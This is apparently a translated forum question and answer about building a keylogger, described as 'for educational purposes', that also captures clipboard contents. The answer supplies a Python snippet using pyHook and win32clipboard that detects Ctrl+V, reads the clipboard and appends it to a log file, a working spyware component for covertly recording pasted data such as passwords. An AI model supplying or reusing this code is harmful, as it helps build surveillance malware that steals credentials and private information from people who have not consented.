如何捕捉ctrl+v?

How to catch ctrl+v?

我正在写一个键盘记录器(用于教育目的)。

我正在尝试复制剪贴板中的内容并将其写入文件以防按下 Ctrl+V。我发现它的缩写是 'SYN' 但我不知道它的 ascii 是什么。我确实设法捕获了每个击键并将其写入文件。当 Ctrl+V 击键发生时,我在文件中得到的是 'Lcontrol' 和紧随其后的 'V' 所以我猜它是分开捕获它们的。

这是解决方案:

...
import win32clipboard
from pyHook import HookManager, GetKeyState, HookConstants
...
if GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'V':
        win32clipboard.OpenClipboard()
        data = win32clipboard.GetClipboardData()
        win32clipboard.CloseClipboard()
        with open(file, "a") as f:
            f.write("{Clipboard : " + data + "}")
...